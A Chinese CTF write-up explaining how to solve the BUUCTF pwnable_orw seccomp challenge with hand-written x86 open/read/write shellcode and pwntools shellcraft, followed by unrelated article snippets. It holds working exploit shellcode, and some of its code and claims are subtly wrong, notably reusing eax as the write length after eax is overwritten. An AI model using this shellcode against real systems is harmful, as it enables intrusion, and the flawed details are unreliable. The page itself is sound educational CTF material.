news 2026/5/5 11:07:52

深入解析BUUCTF-pwn中的orw_seccomp绕过技术

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入解析BUUCTF-pwn中的orw_seccomp绕过技术

1. 理解orw_seccomp的核心限制

第一次接触BUUCTF的pwnable_orw题目时,很多人会被这个奇怪的缩写搞懵。orw其实是open/read/write三个系统调用的首字母组合,而seccomp则是Linux内核的安全沙箱机制。这道题的精妙之处在于,它通过seccomp严格限制了你能使用的系统调用,就像把你关在一个只有三扇门的房间里——每扇门分别贴着"打开"、"读取"和"写入"的标签。

seccomp的工作原理有点像严格的安检系统。当程序执行orw_seccomp函数时,会通过两次prctl调用来设置安全策略:第一次禁止了所有提权操作,第二次更是狠到只允许open、read、write和exit这四个最基本的系统调用。这意味着你那些花哨的execve、fork等系统调用全都成了废招,就像带着瑞士军刀过机场安检被没收了所有工具,只剩下指甲钳还能用。

在实际做题时,我遇到过最典型的错误就是试图执行/bin/sh的shellcode。记得有次熬夜调试时,shellcode明明能正常执行却拿不到shell,后来才意识到seccomp已经把这些危险调用全都过滤了。这时候正确的思路应该是:既然只能使用open/read/write,那就用这三板斧把flag文件的内容直接"掏"出来。

2. 手工打造orw shellcode的艺术

2.1 文件打开阶段的汇编魔法

手工编写orw shellcode就像在用汇编语言玩解谜游戏。以打开flag文件为例,我们需要在栈上构造文件路径字符串。32位环境下的小端序存储是个容易踩坑的地方——字符串"flag"的十六进制表示是0x67616c66,但压栈时需要倒序处理:

push 0x0 ; 字符串终止符 push 0x67616c66 ; 'g','a','l','f'的ASCII码 mov ebx, esp ; EBX现在指向栈上的"flag\0" xor ecx, ecx ; 打开标志位设为0 xor edx, edx ; 模式参数设为0 mov eax, 0x5 ; sys_open的系统调用号 int 0x80 ; 触发系统调用

这里有个实用技巧:用python的hex(ord('f'))+hex(ord('l'))...可以快速获取字符串的十六进制表示。我在实际调试时发现,如果忘记加字符串终止符,会导致后续读取时出现内存错误。

2.2 文件读取的缓冲区玄学

成功打开文件后,读取操作需要特别注意文件描述符的传递。很多新手会在这里犯迷糊——为什么用3作为文件描述符?这是因为在Linux中,0/1/2已经被标准输入、输出和错误占用,新打开的文件会从3开始分配:

mov eax, 0x3 ; sys_read的系统调用号 mov ebx, 0x3 ; 使用刚才打开的文件描述符 mov ecx, esp ; 将栈顶作为缓冲区地址 mov edx, 0x100 ; 读取256字节 int 0x80

缓冲区选择很有讲究。我建议使用栈顶地址(esp)作为缓冲区,这样不需要额外分配内存空间。曾经有次我把缓冲区设在了.bss段,结果因为地址空间随机化(ASLR)导致exp不稳定,调试到凌晨三点才找到问题所在。

2.3 输出阶段的注意事项

最后的写入操作看似简单,实则暗藏杀机。输出到标准输出(fd=1)时,必须确保读取到的内容长度正确:

mov eax, 0x4 ; sys_write的系统调用号 mov ebx, 0x1 ; 标准输出文件描述符 mov ecx, esp ; 要输出的缓冲区地址 mov edx, eax ; 聪明的做法是用read的返回值 int 0x80

这里有个优化技巧:read系统调用会把实际读取的字节数存放在eax中,我们可以直接复用这个值作为write的长度参数,避免硬编码长度值。我在某次比赛中就因为这个优化,比对手快了10分钟拿到flag。

3. 使用pwntools快速构造shellcode

3.1 shellcraft的便捷之道

对于不想手写汇编的朋友,pwntools的shellcraft模块简直是福音。下面这个例子展示了如何用三行Python代码完成全套orw操作:

from pwn import * context.arch = 'i386' shellcode = shellcraft.open('/flag') shellcode += shellcraft.read('eax', 'esp', 100) shellcode += shellcraft.write(1, 'esp', 100)

不过要注意的是,shellcraft生成的代码可能不是最精简的。有次我对比发现手工汇编只有24字节,而shellcraft生成的却有40多字节,在缓冲区有限的情况下这就很致命了。

3.2 上下文环境的正确设置

使用pwntools时最容易忽略的就是context设置。特别是在32位/64位混合环境中,一定要明确指定架构:

context(os='linux', arch='i386', log_level='debug')

log_level设置为debug后,所有发送接收的数据都会完整显示,这对调试shellcode非常有用。我曾经因为忘记设置arch导致生成的shellcode完全不对,白白浪费了两小时。

4. 实战调试技巧与常见坑点

4.1 本地测试环境的搭建

在真正攻击远程服务器前,强烈建议在本地复现环境。可以用以下命令模拟seccomp限制:

gcc -m32 -z execstack -o tester tester.c

记得加上-z execstack参数允许栈执行,否则shellcode会触发段错误。我见过最搞笑的错误就是有人shellcode写得完美,却忘了这个编译参数。

4.2 使用strace追踪系统调用

当shellcode表现异常时,strace是最好的诊断工具:

strace -f -i ./pwnable_orw < input.bin

-f参数会跟踪子进程,-i能显示指令指针,这对定位哪条系统调用被拦截特别有用。有次我发现exit_group调用也被拦截了,这才知道题目比想象的限制更严格。

4.3 处理canary保护的小技巧

题目开启了canary保护,但有趣的是我们的shellcode是通过合法输入点注入的,不需要绕过canary。这与常规的栈溢出有很大区别——你只需要确保不触发栈破坏检测即可。在实际操作中,保持shellcode紧凑不越界是最安全的做法。

5. 进阶:理解seccomp的底层机制

seccomp最初是作为Linux内核的简易沙盒出现的,其发展经历了两个重要阶段。最初的seccomp模式只允许read/write/exit/_exit四个系统调用,被称为严格模式。而seccomp-bpf则引入了更灵活的伯克利包过滤器(BPF)规则,允许细粒度地控制系统调用。

在本题中,通过逆向分析可以看到两次prctl调用:

prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

第一条禁止了子进程提权,第二条则启用了严格模式。有趣的是,题目实际允许的系统调用比文档记载的严格模式多了一个open,这可能是出题人特意修改过的。这种细节在真实比赛中往往就是突破的关键点。

6. 其他可能的解题路径

除了标准的orw方法,这道题还有几个有趣的变种解法。比如可以通过write系统调用泄漏内存信息,或者利用有限的系统调用实现更复杂的文件遍历。在某个变种题目中,我甚至见过通过精心构造的open调用实现目录穿越的案例。

对于想深入研究的同学,建议看看Linux内核中seccomp的源码实现,特别是arch/x86/kernel/seccomp.c文件。理解内核如何拦截和过滤系统调用,会让你对这类题目有降维打击的能力。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/5 11:07:25

Redis数据库基础

NoSQL&#xff08;内存/缓存型数据库&#xff09;&#xff1a; 相比于其他的内存/缓存数据库&#xff0c;redis可以方便的实现持久化的功能&#xff08;保存至磁盘中&#xff09;一、关系数据库与非关系数据库概述1、关系型数据库关系型数据库是一个结构化的数据库&#xff0c;…

作者头像 李华
网站建设 2026/5/5 11:07:51

从电商客服到金融风控:AI Agent落地场景全解析

那具体该怎么干呢&#xff1f; 不是画大饼&#xff0c;现在市场就是这个价格&#xff0c;好的ai agent开发公司都是抢着要的&#xff0c;由于懂这个的人太少了&#xff0c;而想用这个技术的公司又太多了。我们公司就有一个二本毕业的同学&#xff0c;由于技术牛又懂业务&#x…

作者头像 李华
网站建设 2026/4/14 4:22:37

GREAT-PVT实战:如何用Python脚本批量处理多天GNSS观测数据并自动绘图?

GREAT-PVT实战&#xff1a;Python脚本批量处理GNSS观测数据与自动化绘图全攻略 当面对连续多天的GNSS观测数据时&#xff0c;手动逐天处理不仅效率低下&#xff0c;还容易引入人为错误。本文将深入探讨如何利用GREAT-PVT配合Python脚本实现从数据解算到结果可视化的全流程自动化…

作者头像 李华
网站建设 2026/4/14 4:21:59

OpenPose Unity插件:5分钟实现实时多人姿态估计

OpenPose Unity插件&#xff1a;5分钟实现实时多人姿态估计 【免费下载链接】openpose_unity_plugin OpenPoses Unity Plugin for Unity users 项目地址: https://gitcode.com/gh_mirrors/op/openpose_unity_plugin 你想为Unity项目添加智能动作识别功能吗&#xff1f;O…

作者头像 李华